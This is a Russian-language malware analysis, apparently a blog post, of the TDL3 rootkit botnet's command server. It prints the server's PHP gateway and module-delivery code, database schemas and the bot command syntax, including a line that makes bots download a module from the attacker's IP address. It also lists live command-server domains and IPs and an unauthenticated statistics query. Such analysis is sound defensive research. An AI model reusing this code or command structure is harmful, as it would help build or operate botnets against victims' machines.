     8812 ?        S      0:30 /usr/bin/php-cgi
     8903 ?        S      0:26 /usr/bin/php-cgi
     8937 ?        S      0:18 /usr/bin/php-cgi
     8966 ?        S      0:17 /usr/bin/php-cgi
     8971 ?        S      0:16 /usr/bin/php-cgi
     9057 ?        S      0:08 /usr/bin/php-cgi
     9081 ?        S      0:05 /usr/bin/php-cgi
     9249 ?        S      0:03 /usr/bin/php-cgi
     9299 ?        S      0:00 sh -c ps ax
     9300 ?        R      0:00 ps ax
    26004 ?        S      0:00 [pdflush]
    26007 ?        S      0:01 [pdflush]
    27746 ?        Ss     0:00 ssh-agent
    28031 ?        Ss     0:01 /usr/bin/php-cgi
    28042 ?        Ss     0:03 /usr/bin/php-cgi

    База данных и скрипты

    В качестве СУБД на сервере используется MySQL, а в качестве веб-сервера — LightTPD, к которому в качестве обработчика CGI-приложений подключен пакет PHP. Кроме того, часть данных, обращения к которым производятся наиболее часто, кэшируются в памяти с помощью программы memcached.
    Скрипты панели администрирования и шлюза для ботов находятся в директории/var/www/engine, которая имеет следующую структуру:


    +--- cron              - PHP-скрипты, исполняемые по расписанию
    +--- data              - база адресов GeoIP и некоторые текстовые файлы
    +--- library           - различные библиотеки PHP, используемые скриптами
    +--- public            - скрипты, обрабатывающие запросы от ботов
    |                        (корневая директория веб-сервера, обслуживающего ботов)
    \--- tools
    |    +--- controllers  - PHP-скрипты для различных страниц панели администрирования
    |    +--- layouts      - главный HTML-шаблон для панели администрирования
    |    +--- public       - основные скрипты панели администрирования 
    |    |                   (корневая директория веб-сервера, обслуживающего панель администрирования)
    |    +--- views        - HTML-шаблоны-для различных страниц панели администрирования
    +--- configuration.php - файл настроек доступа к базе данных и т.п.

    На момент получения доступа к серверу база данных содержала 47 таблиц с общим количеством записей порядка 17 719 469 и занимала на диске примерно 2,6 ГБ.
    Имена и назначения таблиц:
    Имя таблицыЧисло записейОбъём данныхНазначение
    affiliates51280,0 кБУчётные записи партнёров и статистика по ним
    affiliatesaccounts60764,0 кБ
    affiliatesregistrations50764,0 кБ
    affiliatesstatistics≈ 62 1368,5 МБ
    affiliatesstatisticsbrowser≈ 53 0727,1 МБ
    affiliatesstatisticsbuild≈ 5 979 072655,8 МБ
    affiliatesstatisticscountry≈ 245 25326,1 МБ
    affiliatesstatisticssts633,3 кБ
    affiliatesstatisticssystem≈ 56 9827,1 мБ
    bots≈ 5 247 1991,4 ГБОсновная таблица с информацией о ботах
    browsers3 690240,0 кБДополнительная информация о ботах (версии веб-браузеров, версии руткита и модуляTDLCMD.DLL, страна, версия операционной системы)
    builds17216,0 кБ
    countries25316,0 кБ
    systems10116,0 кБ
    commands5516,0 кБКоманды ботам, статистика по ним, история команд и дополнительные параметры
    commandsexecuted≈ 4 546 977337,5 МБ
    commandshistory1 590224,0 кБ)
    commandsinfo5564,0 кБ
    commandsproperties90964,0 кБ
    modules13400,0 кБИсполняемые модули для ботов
    redirects0URL-перенаправления
    redirectsexecuted0
    remover_bho6 0501,5 МБСтатистика модуляremover
    remover_bho_stat201,9 кБ
    remover_dda642144,0 кБ
    remover_dda_stat211,9 кБ
    remover_dir≈ 37 9917,5 МБ
    remover_dir_stat201,9 кБ
    remover_errors18 9142,5 МБ
    remover_extra≈ 289 44954,6 МБ
    remover_extra_stat181,9 кБ
    remover_guid≈ 21 2204,5 МБ
    remover_guid_stat201,9 кБ
    rules0Неизвестно
    ruleshistory0
    statuses1 98272,3 кБНеизвестно
    statuses_limits1 138 919115,0 МБ
    statuses_statistics3 956102,8 кБ
    users1016,0 кБУчётные записи пользователей панели управления
    Далее будет приведена структура наиболее интересных таблиц и некоторые пояснения, касающиеся работы с ними.

    Запросы от ботов к серверу

    Сразу после инсталляции бот инициирует запрос команд от сервера и повторяет этот запрос через заданный в конфигурации интервал времени. Запросы бота, как уже было описано в первой части статьи, шифруются по алгоритму RC4 с использованием имени целевого сервера в качестве ключа, затем кодируются по алгоритму base64 и отправляются на веб-шлюз командного сервера по протоколу HTTPS.
    Формат запросов на получение команд может отличаться от одной версии бота к другой. Для большинства версий, включая самые последние, запрос выглядит следующим образом:


    bot_ID|aff_ID|aff_SID|rootkit_ver|tdlcmd_ver|os_ver|lang|browser|build_date|install_date

    Назначение полей запроса:
    ПолеНазначение
    bot_IDУникальный идентификатор бота, например, 7a91eb86-a6be-4db5-8694-0337dad2c75d
    aff_IDИдентификатор партнёра, владеющего ботом
    aff_SIDИдентификатор дополнительной учётной записи партнёра
    rootkit_verВерсия руткита
    tdlcmd_verВерсия модуля TDLCMD.DLL (основной модуль «полезной назрузки» бота)
    os_verВерсия операционной системы
    langЯзык операционной системы
    browserБраузер, используемый на заражённом компьютере. Значение этого поля представляет собой путь к исполняемому файлу браузера, извлеченный из ключа реестраHKEY_LOCAL_MACHINE\SOFTWARE\Classes\HTTP\shell\open\command
    build_dateДата сборки исполняемых файлов бота (необязательный параметр)
    install_dateДата заражения (необязательный параметр)
    Помимо запросов на получение команд, скрипты командного сервера также могут обрабатывать и ряд специальных запросов, которые имеют следующий вид:


    module_ID|value_1|value_2|...|value_N

    ПолеНазначение
    module_IDИдентификатор типа запроса (модуля, которому он адресован)
    value_1value_NПроизвольное количество строковых и/или числовых данных, формат и назначения которых зависят от типа запроса
    Функциональность отправки специальных запросов не фигурирует в коде «полезной нагрузки» бота в явном виде, однако бот может отправлять подобные запросы в результате обработки команд, полученных с сервера (например, команды на загрузку дополнительного модуля «полезной нагрузки»).
    Рассмотрим процесс обработки запросов от бота более подробно. В первых строках скрипта /var/www/engine/index.php происходит подключение необходимых заголовочных файлов, а также расшифровка запроса:


    <?php
    try {
    
        // объявление констант, содержащих пути к различным директориям
        define('DS'                    , DIRECTORY_SEPARATOR       );
        define('DIR_ROOT'              , realpath('../')           );
        define('DIR_LIBRARY'           , DIR_ROOT.DS.'library'     );
        define('DIR_LIBRARY_CLASSES'   , DIR_LIBRARY.DS.'classes'  );
        define('DIR_LIBRARY_MODELS'    , DIR_LIBRARY.DS.'models'   );
        define('DIR_LIBRARY_FUNCTIONS' , DIR_LIBRARY.DS.'functions');
        define('DIR_DATA'              , DIR_ROOT.DS.'data'        );
    
        // подключение внешних модулей
        require_once( DIR_ROOT . DS . 'configuration.php' );
        require_once( DIR_LIBRARY_CLASSES . DS . 'DBase.php' );
        require_once( DIR_LIBRARY_FUNCTIONS . DS . 'rc4Encrypt.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mBots.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliate.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliates.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mBrowsers.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mBuilds.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mSystems.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mCountries.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mCommands.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mCommandsMemcache.php' );
        
        // расшифровка запроса по RC4 (имя сервера используется в качестве ключа)
        $request      = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); 
        $requestCount = 0;
        $requestHost = $_SERVER["HTTP_HOST"];
    
        if( $request ) {
            // разбиение строки запроса на элементы массива
            $request      = explode( '|', $request );
            $requestCount = sizeof( $request );
        } else {
            header("HTTP/1.0 404 Not Found");
            exit();
        }
    
        ...

    Поля запроса, как видно из приведённого кода, сохраняются в массиве $request. Далее, в зависимости от значения первого элемента этого массива (а именно, идентификатора типа для специальных запросов), происходит подключение одного из следующих PHP-скриптов, обрабатывающих конкретные типы запросов:
    Идентификатор типа специального запросаИмя скриптаНазначение
    removerremover.phpПриём статистики от модуля remover(подробнее о нём см. далее)
    servicesservices.phpУправление учётными записями партнёров (создание, удаление, запрос информации). По всей видимости, эти возможности были предусмотрены для сбора статистики об учётных записях партнёров с внешнего хоста, однако по неизвестным причинам не был защищён какими-либо механизмами авторизации, что позволяет получить доступ к подробнейшей статистике о работе ботнета произвольным лицам.
    rulesrules.phpПриём статистики о выполненных на стороне бота командах.
    redirectredirect.phpВыполнение перенаправления на содержащийся в базе URL по его числовому идентификатору.
    installationinstallation.phpВывод содержимого файла/var/www/engine/data/affId_affSid.dat, где affId и affSid — идентификаторы основной и дополнительной учетных записей партнёра, полученные из полей запроса. Назначение информации, содержащейся в.dat-файле, неизвестно, поскольку соответствующих файлов на целевом сервере обнаружено не было.
    modulesmodules.phpОбработка запросов на загрузку модулей со стороны ботов.
    Если значение первого элемента массива не совпало с приведенными в таблице идентификаторами, то такой запрос обрабатывается как запрос команды:


    } elseif( $requestCount == 8 || $requestCount == 10 ) {
        
            // подключение к базе данных
            DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE );
        
            // подключение к демону memcached
            $objMemcache = new Memcache;
            $objMemcache->connect( MCACHE_HOST, MCACHE_PORT );
            
            // получение информации о боте из полей запроса
            $requestName      = $request[0];
            $requestAffAid    = $request[1];
            $requestAffSid    = $request[2];
            $requestRk        = $request[3];
            $requestCmd       = $request[4];
            $requestSystem    = $request[5];
            $requestLang      = $request[6];
            $requestBrowser   = $request[7];
            
            if( $requestCount == 8 ) {    
                // информация о дате сборки и дате заражения не присутствует в запросе        
                $requestBuildDate   = 0;
                $requestInstallDate = 0;
            } else {
                $requestBuildDate   = strtotime( $request[8] );
                $requestInstallDate = strtotime( $request[9] );
            }
    
            $requestBuild     = "{$requestRk}_{$requestCmd}";
            $requestIp        = ip2long( $_SERVER['REMOTE_ADDR'] );
    
            $requestAffId     = null;
            $requestSystemId  = null;
            $requestBrowserId = null;
            $requestBuildId   = null;
    
            // подключение модуля engine.php
            // он осуществляет добавление информации о боте в базу данных и обработку запроса команды
            include('engine.php');
            
            $objMemcache->close();
            DBase::disconnect(); 
            
            ...

    Возвращаемый боту в ответ на запрос список команд также шифруется по алгоритму RC4, но в качестве ключа в этом случае используется не имя сервера, а идентификатор бота (содержимое переменной $requestName).

    Учётные записи партнёров

    В таблице affiliates содержится информация об учётных записях партнёров. Их добавление и редактирование доступно оператору панели администрирования ботнета.


    CREATE TABLE IF NOT EXISTS `affiliates` (
      `affId` int(11) unsigned NOT NULL auto_increment,   -- ключ таблицы
      `affAid` char(20) NOT NULL,                         -- идентификатор учётной записи партнёра
      `affGroup` int(11) unsigned NOT NULL,               -- группа учётной записи партнёра
      `affLogin` char(32) default NULL,                   -- имя (логин) учётной записи партнёра
      PRIMARY KEY  (`affId`)
    );

    Редактирование учётной записи партнёра в панели администрирования ботнета
    Редактирование учётной записи партнёра в панели администрирования ботнета
    Каждый партнёр может владеть произвольным количеством ботов. Идентификатор учётной записи партнёра «прошивается» в исполняемый файл бота на этапе его сборки и конфигурирования и хранится руткитом в файле config.ini на зашифрованной файловой системе.
    Также для каждого партнёра доступно создание дополнительных учётных записей, которые используются для разделения ботов, принадлежащих конкретному партнёру, на группы.
    Идентификаторы основной и дополнительной учётных записей партнёра в файле config.ini
    Идентификаторы основной и дополнительной учётных записей партнёра в файлеconfig.ini.
    Учётными записями партнёров можно управлять без посредства панели администрирования, путём отправки специальных запросов типа services веб-шлюзу командного сервера. Формат параметров этого запроса выглядит так:


    services|operation_code|argument_1|argument_2|...|argument_N

    ПолеНазначение
    operation_codeКод операции, которую необходимо выполнить
    argument_1argument_NНеобязательные аргументы, формат которых определяется конкретной операцией
    Коды операций приведены в следующей таблице:
    Код операцииАргументыНазначение
    100affAid,affLogin,affGroupСоздание новой учётной записи партнёра.
    110affIdУдаление существующей учётной записи партнёра.
    120affAidПеречисление всех дополнительных учётных записей для данной учётной записи партнёра.
    150engineTypeДобавление новой учётной записи партнёра с автоматической генерацией значения affAid. При этом значение affGroup выбирается в зависимости от значения engineType.
    200affAid,affSid,statDateFrom,statDateToЗапрос статистики по количеству установок бота для указанной учётной записи партнёра в заданный промежуток времени.
    201affAid,affSid,statDateFrom,statDateToЗапрос статистики количества ботов по странам для указанной учётной записи партнёра в заданный промежуток времени.
    301Перечисление существующих учётных записей партнёров.
    Пояснение назначения параметров запроса:
    ПараметрНазначение
    affIdПараметры соответствуют одноимённым полям в таблицеaffiliates
    affAid
    affSid
    affLogin
    statDateFromДаты в формате Y-m-d
    statDateTo
    affGroupИдентификатор группы партнёров
    Перечень возможных групп, к которым может принадлежать партнёр, содержится в файле /var/www/engine/data/groups.txt:


    Affiliates Groups
        1  - Test Installs
        10 - Our Installs
        20 - InstallConverter
        30 - ProfitCash
        40 - ReliefPPC
        50 - ConvertPPC

    Для примера, запрос получения статистики по количеству установок бота в период с 01.08.2009 по 01.07.2010 для дополнительного учётной записи 0 партнёра с affAid, равным 10000, будет выглядеть следующим образом:


    services|200|10000|0|2009-08-01|2010-07-01

    Таблица ботов

    Информация о боте представляет собой запись в таблице bots, которая создаётся при обработке первого запроса на получение команд от бота. При этом значения полей таблицы affIdaffSid и botName извлекаются из соответствующих параметров запроса.
    Класс mBots, обеспечивающий работу с таблицей bots, находится в файле/var/www/engine/library/models/mBots.php. Функции добавления и изменения информации о боте реализованы в скрипте /var/www/engine/public/engine.php.
    Структура таблицы bots:


    CREATE TABLE IF NOT EXISTS `bots` (                  
      `affId` int(11) unsigned NOT NULL,                  -- идентификатор учётной записи партнёра
      `affIdx` int(11) unsigned NOT NULL,                 -- обычно, содержит то же значение, что и affId
      `affSid` smallint(6) unsigned NOT NULL default '1', -- идентификатор дополнительной учётной записи
      `botId` int(11) unsigned NOT NULL auto_increment,   -- ключ таблицы
      `botName` char(60) NOT NULL,                        -- уникальное имя бота (параметр botid в config.ini)
      `botIp` bigint(20) NOT NULL,                        -- IP-адрес бота
      `botAdded` int(11) unsigned NOT NULL,               -- дата первого обращения бота к серверу
      `botAccess` int(11) unsigned NOT NULL,              -- дата последнего обращения бота к серверу
      `botCountry` tinyint(4) unsigned NOT NULL,          -- идентификатор страны бота
      `botSystem` smallint(6) unsigned NOT NULL,          -- идентификатор версии Windows заражённого компьютера
      `botBrowser` smallint(6) unsigned NOT NULL,         -- идентификатор версии браузера заражённого компьютера
      `botBuild` smallint(6) unsigned NOT NULL,           -- идентификатор версии руткита и модуля TDLCMD.DLL бота
      PRIMARY KEY  (`botId`),
      KEY `botName` (`botName`),
      KEY `affid_index` (`affId`),
      KEY `botAdded_index` (`botAdded`)
    );

    Система команд

    В конце скрипта engine.php подключается файл/var/www/enginedata/commands.php. Его задача — вывод команд, которые требуется выполнить боту. При этом скрипт commands.php генерируется динамически на основе данных, хранящихся в таблице commandsinfo.


    CREATE TABLE IF NOT EXISTS `commandsinfo` (
      `commOwner` int(11) NOT NULL default '1',           -- идентификатор учётной записи пользователя, добавившего команду
      `commId` int(11) unsigned NOT NULL auto_increment,  -- ключ таблицы
      `commName` varchar(255) NOT NULL,                   -- имя команды
      `commDesc` text NOT NULL,                           -- описание команды
      `commExe` varchar(255) NOT NULL,                    -- URL исполняемого файла (для команд, связанных с загрузкой и исполнением исполняемых файлов)
      `commStatus` enum('disable','enable',
          'deleted','temp') NOT NULL default 'enable',    -- статус команды (активная, неактивная, временная или удалённая)
      `commAdded` datetime NOT NULL,                      -- время добавления команды
      `commCode` text NOT NULL,                           -- PHP код команды, который будет включён в commands.php
      `commCodeCond` text NOT NULL,                       -- дополнительные параметры команды
      `commCodeComm` text NOT NULL,
      `commOrder` int(11) NOT NULL,                       -- порядковый номер команды
      PRIMARY KEY  (`commId`)
    );

    Класс mCommands, обеспечивающий работу с командами, находится в файле/var/www/engine/library/models/mCommands.php. Процедура динамического создания файла commands.php реализована в методе reGenerate, который вызывается по команде из панели администрирования:


    function reGenerate() {
            $code = '';
            
            // получение из базы данных информации о всех доступных командах
            $commands = $this->getSummaryFull();
            for ($i = 0; $i < sizeof($commands); $i++) {
                if ($commands[$i]['commStatus'] == 'enable') {
                    // получение PHP кода для каждой из команд
                    $code .= $this->getCode($commands[$i]['commId']) . "\r\n\r\n\r\n";
                }
            }
            
            // чтение файла-шаблона
            // он содержит статический код, который должен быть включён в commands.php
            $templateFile = dirname(__FILE__).DS.'commands.template';
            $fp = fopen($templateFile, 'r');
            $template = fread($fp, filesize($templateFile));
            fclose($fp);
            
            $template = str_replace('%COMMS%', $code, $template);
            
            // запись commands.php на диск
            $file = '/var/www/enginedata/commands.php';
            $fp = fopen($file, 'w');
            fwrite($fp, $template);
            fclose($fp);
        }

    Добавление новой команды в панели администрирования
    Добавление новой команды в панели администрирования
    Для каждой команды можно указать следующие дополнительные параметры:
    • Идентификаторы стран, для ботов из которых требуется выполнение данной команды.
    • Идентификаторы учётных записей партнёров.
    • Версии браузеров на зараженных машинах.
    • Версии руткита и модуля TDLCMD.DLL.
    • Время жизни команды.
    • Максимальное число запусков команды.
    Оператор панели администрирования может даже редактировать непосредственно фрагмент PHP-кода, который будет включён в commands.php.
    Редактирование кода команды в панели администрирования
    Редактирование кода команды в панели администрирования
    Бот может обрабатывать следующие команды:
    КомандаОписание
    botnetcmd.SetCmdDelay(Seconds)Установка интервала обращения к серверу
    botnetcmd.ModuleDownloadUnxor(URL,LocalPath)Загрузка зашифрованного исполняемого модуля
    botnetcmd.FileDownloadRandom(URL,LocalPath)Загрузка произвольного файла
    botnetcmd.LoadExe(FileURL)Загрузка и запуск исполняемого файла
    botnetcmd.LoadExeKnock(FileURL,KnockURL)Загрузка и запуск исполняемого файла с отправкой HTTP-запроса на произвольный URL в случае успеха
    botnetcmd.InjectorAdd(ProcessName,DLLName)Внедрение DLL в указанный процесс (*— во все процессы)
    tdlcmd.ConfigWrite(Section,ParameterValue)Запись произвольных данных вconfig.ini
    tdlcmd.Download(URLLocalPath)Загрузка произвольного файла.

    Модули «полезной нагрузки»

    Основные функции руткита TDL3 — «полезная нагрузка» — обеспечиваются дополнительными модулями. Модули представляют собой обычные динамические библиотеки, загружаемые с сервера и внедряемые в произвольный либо текущий процесс пользовательского режима.
    Информация о доступных модулях хранится в таблице modules:


    CREATE TABLE IF NOT EXISTS `modules` (
      `modId` int(11) unsigned NOT NULL auto_increment,   -- ключ таблицы
      `modName` char(255) NOT NULL,                       -- имя модуля
      `modData` longblob,                                 -- данные исполняемого образа модуля
      `modLoads` int(11) unsigned NOT NULL,               -- количество загрузок модуля
      PRIMARY KEY  (`modId`)
    );

    Загрузка файла модуля на заражённый компьютер может производиться с помощью команды ModuleDownloadUnxor. В качестве параметра ей передаётся зашифрованный запрос к серверу, формат полей которого выглядит следующим образом:


    module|ModuleId!Key!

    ПолеНазначение
    ModuleIdИдентификатор модуля (значение поля modId таблицыmodules)
    KeyЛюбая строка (необязательное поле). Значение данного параметра будет использовано в качестве ключа шифрования по алгоритму RC4 для модуля, выдаваемого боту в ответ на запрос
    Запрос на загрузку модуля обрабатывается в файле/var/www/engine/public/modules.php:


    <?php
    
        require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' );
    
        // проверка наличия ключа для шифрования в запросе на загрузку модуля
        if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) {
            $modId    = $matches[1];
            $modCrypt = $matches[2];
        } else {
            $modId    = $request[1];
            $modCrypt = FALSE;
        }
     
        // получение информации о модуле
        $modDetails = mModules::details( $modId );
    
        if( $modCrypt ) {
            // возвращение клиенту данных модуля в зашифрованном виде
            print rc4Encrypt( $modCrypt, $modDetails['modData'] );
        } else {
            // возвращение клиенту данных модуля в открытом виде
            print $modDetails['modData'];
        }
        
        // приращение счётчика количества загрузок для данного модуля
        mModules::increment( $modId );

    Исполнение команды, адресованной конкретному модулю, происходит путём отправки боту строки следующего вида:


    ModuleName.Function([Params])

    ПолеНазначение
    ModuleNameИмя динамической библиотеки модуля на заражённом компьютере
    FunctionИмя произвольной функции, экспортируемой динамической библиотекой модуля
    ParamsПроизвольные числовые или строковые параметры, которые следует передать вызываемой функции в качестве аргументов
    Пример загрузки и исполнения модуля remover (фрагмент кода из commands.php):


    // --- Command #273 Start ---
    
        $commId = 273;
        
        // получение информации о команде по её идентификатору
        $commDetails       = $objCommands->getCommand( $commId );
        $commDetailsCreate = FALSE;
        if( $commDetails == FALSE ) {
            $commDetails['commId']       = $commId;
            $commDetails['commRefences'] = 0;
            $commDetails['commSuccesed'] = 0;
            $commDetailsCreate           = TRUE;
        }
        
        // Condition 1
        if( $botBuild >= 26 ) {
            $commDetailsBot       = mCommands::getCommandExecuted( $commId, $botId );
            $commDetailsBotCreate = FALSE;
            if( $commDetailsBot == FALSE ) {
                $commDetailsBot['botId']        = $botId;
                $commDetailsBot['commId']       = $commId;
                $commDetailsBot['commDate']     = 0;
                $commDetailsBot['commSuccesed'] = 0;
                $commDetailsBotCreate           = TRUE;
            }
            
            // Condition 2
            if( ($commDetailsBot['commSuccesed'] < 1) ) {
                $commSucces  = TRUE;
                // команда на загрузку модуля и сохранение его под именем tdlrm.dll
                $commOutput .= "tdlcmd.Download('https://91.212.226.60/czRvvJ+iknAB','tdlrm.dll')\n";
                // команда на исполнение функции Start() из tdlrm.dll
                $commOutput .= "tdlrm.Start()\n";
            } else {
                $commSucces  = FALSE;
            }
            
            ...
        
    // --- Command #273 End ---

    Добавление и редактирование модулей происходит в соответствующем разделе панели администрирования:
    Редактирование модуля в панели администрирования
    Редактирование модуля в панели администрирования
    На момент получения доступа к серверу в базе данных присутствовали следующие модули:
    Имя модуляНазначение
    DDoSРеализация DDoS-атак
    RemoverНебольшой антивирус, работающий с базами сигнатурMalwarebytes' Anti-Malware и производящий на зараженном компьютере поиск «чужих» вредоносных программ.
    TDLCMDОсновной модуль «полезной нагрузки», используемый руткитом. В данном модуле реализованы функции отправки сообщений серверу, выполнения команд и т.п.
    WSP/WSP PopupМодуль перехвата запросов для поисковых сервисов (Google, Yahoo, Bing, Ask, AOL) с целью подмены результатов поиска, отображаемых в браузере. Также содержит функции отображения всплывающих рекламных окон.
    Модули защищены при помощи неизвестной программы для шифрования кода, что может затруднить их анализ.
    На момент анализа числа загрузок для модуля Remover составляло 19 000 — таким образом, количество его загрузок несопоставимо мало относительно общего количества ботов. Это может свидетельствовать о том, что модуль Remover на момент анализа проходил тестирование, и что в будущем разработчиками бота планируется широкое использование своего собственного «антивируса» для борьбы с конкурирующими вредоносными программами.

    Статистика

    В завершении статьи приведём несколько срезов статистики по ботнету. Статистические данные были получены путём анализа базы данных командного сервера d45648675.cn по состоянию на 7 февраля 2010 года.
    Общие данные:
    Количество ботов за всё время5 247 115
    Количество учётных записей партнёров512
    Дата установки первого бота12.08.2009
    Дата установки последнего бота07.02.2010
    Более подробные статистические данные приведены ниже в виде графиков и диаграмм.
    Число новых установок по неделям (одна точка на графике соответствует одной неделе)
    Число новых установок по неделям (одна точка на графике соответствует одной неделе)
    Заметный пик на графике соответствует «рекорду» в 443 364 уникальные установки бота 19 января 2010 года. Все установки были относительно равномерно распределены между несколькими десятками партнёрских учётных записей. Это может говорить о том, что причиной столь стремительного роста числа инсталляций стала волна эксплуатации некой уязвимости «нулевого дня».
    Число уникальных ботов, которые обращались к серверу в течение недели
    Число уникальных ботов, которые обращались к серверу в течение недели
    Распределение ботов по странам
    Распределение ботов по странам
    Распределение ботов по партнёрам
    Распределение ботов по партнёрам
    Как видно из диаграммы, самый крупный партнёр обеспечивал 22,3% всех инсталляций руткита, вдвое превышая по эффективности второго партнёра.
    Распределение новых инсталляций по партнёрам
    Распределение новых инсталляций по партнёрам
    Как видно из диаграммы, 90% партнёров обеспечивают от 1 000 до 50 000 загрузок, из которых 50% приходится на мелких партнёров (число загрузок от 1 000 до 5 000). Партнёров с числом загрузок более 5 000 всего 17, из них всего один обеспечил более 1 000 000 загрузок.
    Версии Windows
    Версии Windows
    Как видно из диаграммы, операционная система Windows XP, в которой не поддерживаются современные защитные механизмы (UAC, DEP и ASLR), является наиболее уязвимой для вредоносных программ. Относительно малое число заражений операционной системы Windows 7 не связано с долей данной операционной системы в числе остальных (которая достаточно высока). Можно предположить, что доставка бота на компьютеры с Windows 7 осуществлялась преимущественно методами социальной инженерии.
    Версии руткита
    Версии руткита
    Версии модуля TDLCMD.DLL
    Версии модуля TDLCMD.DLL
    Поскольку сервер d45648675.cn функционирует и в настоящее время, мы приняли решение собрать обновлённую статистику на момент написания статьи (14 июля 2010) с помощью механизмов, предоставляемых описанным выше специальным запросом типа services. Мы также проанализировали несколько десятков инсталляторов руткита TDL3, чтобы выявить адреса всех активных командных серверов.
    Помимо сервера, соответствующего доменному имени d45648675.cn (и ряду других), на данный момент также используется второй сервер a57990057.cn. Каждый из двух серверов имеет несколько IP-адресов, и каждому IP-адресу сопоставлено несколько доменов. Список IP-адресов и доменов для обоих серверов приведён в следующей таблице:
    IP-адресДоменное имяКоличество ботов за всё времяКоличество учётных записей партнёровДата установки первого бота
    91.212.226.60d45648675.cn8 547 24185712.08.2009
    91.212.226.59zz87jhfda88.com
    91.212.226.59lj1i16b0.com
    61.61.20.132a57990057.cn7 860 6772 54731.12.2009
    61.61.20.13268b6b6b6.com
    91.212.226.70o0o0o0o0.com
    61.61.20.135jro1ni1l1.com
    61.61.20.13534jh7alm94.asia
    Как видно из таблицы, в период с 07.02.2010 по 14.07.2010 количество ботов, прошедших через первый сервер, выросло почти на 40%, а общее количество компьютеров, заражённых руткитом TDL3 в период с 12.08.2009 по 14.07.2010, составило более 16 000 000. Крупнейшим ботнетом в мире до настоящего момента считался ботнет Mariposa, объём которого на момент его закрытия был оценён экспертами в 12 000 000 зомби-машин.

    Комментариев нет:

    Отправить комментарий